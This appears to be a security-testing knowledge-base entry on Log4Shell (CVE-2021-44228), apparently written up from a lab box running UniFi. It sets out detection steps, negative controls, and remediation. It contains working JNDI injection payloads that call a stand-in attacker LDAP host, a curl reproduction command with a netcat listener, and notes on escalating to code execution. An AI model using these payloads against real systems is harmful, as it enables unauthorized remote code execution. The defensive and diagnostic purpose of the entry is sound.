Cybernetics

Diagnostic playbook

Log4Shell - unauthenticated JNDI/LDAP injection in log4j2 (CVE-2021-44228)

Code Execution / JNDI Injection / Log4Shell

Knowledge identity

Definition and taxonomy

Summary

No canonical summary recorded yet.

Severity rationale

Unauthenticated remote code execution demonstrated in the wild (Log4Shell). On this box the JNDI lookup was confirmed but full RCE was blocked by JDK trustURLCodebase/trustSerialData defaults; severity assumes an unhardened JRE.

Aliases

No aliases recorded.

Standards

No CWE, CVE, CAPEC, or OWASP mappings recorded.

CVSS vector

No CVSS vector recorded.

1. First Signal

What should make an agent suspicious

Symptoms

Sending ${jndi:ldap://ATTACKER:1389/x} in a logged field causes a TCP connection from the target to the attacker LDAP listener (observable bind request). No app error required; HTTP stays 400 api.err.Invalid.

Prerequisites

Vulnerable log4j2 version. Attacker-controlled value reaching a logged message. Outbound network from target to attacker listener (LDAP 1389 / HTTP 8081) for JNDI callback.

2. Recognition Logic

How to recognize this next time

If you see a Java app with Log4j 2 and can put a JNDI string in any request field, test each field independently with a listener; a callback proves interpolation. Negative control: a random non-JNDI string in the same field must produce NO callback. False-positive watch: some fields are logged but log4j.formatMsgNoLookups=true or Java 8u191+/11.0.x blocks exploitation (trustURLCodebase=false).

3. Diagnostic Procedure

Safe checks, in order

  1. Set up TCP listener on attacker IP. 2) Baseline: normal login POST, note HTTP 400. 3) Positive: POST field=${jndi:ldap://ATTACKER:1389/TEST} for EACH candidate field separately; observe LDAP bind callback. 4) Negative control: field=ZZRANDOM, expect no callback. 5) If callback observed, attempt RCE via LDAP+class (needs trustURLCodebase=true) or javaSerializedData gadget (needs unhardened JDK). 6) Record which field triggers.

4. Proof

Evidence

Baseline login -> HTTP 400. remember='${jndi:ldap://10.10.15.254:1389/TEST1}' -> LDAP BindRequest callback from 10.129.96.149. remember=ZZRANDOMCONTROL12345 -> no callback. username field alone -> no callback.

5. Controls

Negative checks

random string control produced no callback; username/password fields did not interpolate on UniFi 6.4.54.

6. Avoid Bad Memory

False positives and traps

log4j.formatMsgNoLookups=true or a patched log4j (2.15+) blocks interpolation; a callback to an unreachable listener port would be a false negative, not a false positive.

7. Why It Matters

Impact

Unauthenticated attacker can trigger JNDI lookups; on unhardened JREs this is RCE as the service user (root on this box). Confirmed only the lookup on this box.

8. Why It Happened

Root cause

Apache Log4j2 default message lookups interpolate ${jndi:...} in logged messages (CVE-2021-44228).

9. Fix

Remediation and prevention

Upgrade to Log4j 2.17.1+ (or 2.16.0+ with formatMsgNoLookups), set -Dlog4j2.formatMsgNoLookups=true, remove JndiLookup class.

10. Re-test

Verification steps

After patching, repeat the positive probe: no callback should arrive at the listener.

Reference

Tools and sources

Tools used

curl, netcat, python rogue LDAP server, ysoserial

References

CVE-2021-44228, CWE-917

Intelligence

Products and history

Technologies

Not recorded yet.

Affected products / versions

Not recorded yet.

History

Not recorded yet.

Exploit knowledge

Variants and references

Attack surface

Not recorded yet.

Exploit maturity

Not recorded yet.

Known variants

  • Log4j 2.15.0/2.16.0 bypasses (CVE-2021-45046, CVE-2021-45105)
  • RMI and other JNDI URL schemes besides ldap://

Defensive signatures

Not recorded yet.

Reproduction commands

curl -sk -X POST https://TARGET:8443/api/login -H 'Content-Type: application/json' -d '{"username":"u@u.com","password":"p","remember":"${jndi:ldap://ATTACKER:1389/TEST}"}'
# listener: nc -l 1389

Exploit references

Not recorded yet.

Case provenance

Linked findings